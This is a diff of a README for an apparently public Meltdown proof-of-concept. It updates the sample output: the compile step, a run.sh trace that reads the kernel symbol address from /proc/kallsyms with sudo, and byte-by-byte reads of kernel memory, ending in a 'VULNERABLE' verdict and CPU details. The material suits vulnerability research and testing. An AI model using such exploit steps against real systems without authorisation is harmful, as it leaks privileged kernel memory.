@@ -22,33 +22,56 @@ Pandora's box is open.
22
22
Result:
23
23
```
24
24
$ make
25
- cc -O0 -c -o meltdown.o meltdown.c
25
+ cc -O2 -msse2 -c -o meltdown.o meltdown.c
26
26
cc meltdown.o -o meltdown
27
27
$ ./run.sh
28
- + sudo awk /linux_proc_banner/ { print $1 } /proc/kallsyms
29
- + ./meltdown ffffffffa3e000a0 16
30
- ffffffffa3e000a0 = %
31
- ffffffffa3e000a1 = s
32
- ffffffffa3e000a2 =
33
- ffffffffa3e000a3 = v
34
- ffffffffa3e000a4 = e
35
- ffffffffa3e000a5 = r
36
- ffffffffa3e000a6 = s
37
- ffffffffa3e000a7 = )
38
- ffffffffa3e000a8 = o
39
- ffffffffa3e000a9 = f
40
- ffffffffa3e000aa =
41
- ffffffffa3e000ab =
42
- ffffffffa3e000ac = s
43
- ffffffffa3e000ad =
44
- ffffffffa3e000ae = (
45
- ffffffffa3e000af = b
46
- ffffffffa3e000b0 = U
47
- ffffffffa3e000b1 = i
48
- ffffffffa3e000b2 = l
49
- ffffffffa3e000b3 = d
50
- ffffffffa3e000b4 = d
51
- ffffffffa3e000b5 = @
28
+ looking for linux_proc_banner in /proc/kallsyms
29
+ protected. requires root
30
+ + find_linux_proc_banner /proc/kallsyms sudo
31
+ + sudo awk
32
+ /linux_proc_banner/ {
33
+ if (strtonum("0x"$1))
34
+ print $1;
35
+ exit 0;
36
+ } /proc/kallsyms
37
+ + linux_proc_banner=ffffffffa3e000a0
38
+ + set +x
39
+ cached = 29, uncached = 271, threshold 88
40
+ read ffffffffa3e000a0 = 25 %
41
+ read ffffffffa3e000a1 = 73 s
42
+ read ffffffffa3e000a2 = 20
43
+ read ffffffffa3e000a3 = 76 v
44
+ read ffffffffa3e000a4 = 65 e
45
+ read ffffffffa3e000a5 = 72 r
46
+ read ffffffffa3e000a6 = 73 s
47
+ read ffffffffa3e000a7 = 69 i
48
+ read ffffffffa3e000a8 = 6f o
49
+ read ffffffffa3e000a9 = 6e n
50
+ read ffffffffa3e000aa = 20
51
+ read ffffffffa3e000ab = 25 %
52
+ read ffffffffa3e000ac = 73 s
53
+ read ffffffffa3e000ad = 20
54
+ read ffffffffa3e000ae = 28 (
55
+ read ffffffffa3e000af = 62 b
56
+ read ffffffffa3e000b0 = 75 u
57
+ read ffffffffa3e000b1 = 69 i
58
+ read ffffffffa3e000b2 = 6c l
59
+ read ffffffffa3e000b3 = 64 d
60
+ read ffffffffa3e000b4 = 64 d
61
+ read ffffffffa3e000b5 = 40 @
62
+ VULNERABLE
63
+ VULNERABLE ON
64
+ 4.10.0-42-generic #46~16.04.1-Ubuntu SMP Mon Dec 4 15:57:59 UTC 2017 x86_64
65
+ processor : 0
66
+ vendor_id : GenuineIntel
67
+ cpu family : 6
68
+ model : 158
69
+ model name : Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz
70
+ stepping : 9
71
+ microcode : 0x5e
72
+ cpu MHz : 3499.316
73
+ cache size : 6144 KB
74
+ physical id : 0
52
75
```
53
76
54
77
# Does not work
0 commit comments